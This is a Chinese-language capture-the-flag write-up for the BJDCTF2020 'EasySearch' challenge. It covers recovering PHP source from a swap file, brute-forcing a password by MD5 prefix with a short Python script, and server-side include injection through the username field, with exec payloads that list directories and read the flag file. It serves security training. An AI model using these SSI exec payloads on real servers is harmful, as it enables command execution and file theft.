[PHP知识库][BJDCTF2020]EasySearch

知识点：

1.ssi注入漏洞

相关文献

2.脚本编写

解题过程

1.进入页面后扫描后台

发现index.php.swp文件，进入后发现源码

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

代码审计发现MD5加密后密码的前六位要等于6d0bc1

if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')

自己写一段小脚本来找出符合此类型的密码

脚本：

import hashlib
for i in range(10000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if a[0:6] == '6d0bc1':
        print(i)
        print(a)

找出三个密码：2020666 2305004 9162671

随意用哪个登录

成功登录

?

这个页面抓包

发现隐藏url且后缀是.shtml

猜测是ssi注入

注入点在username

payload：

<!--#exec cmd="ls ../" -->

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->

访问对应的这个

public/ae8db9084a02ff8ba0b0be6ad6200aa072c3f88d.shtml

拿到flag

?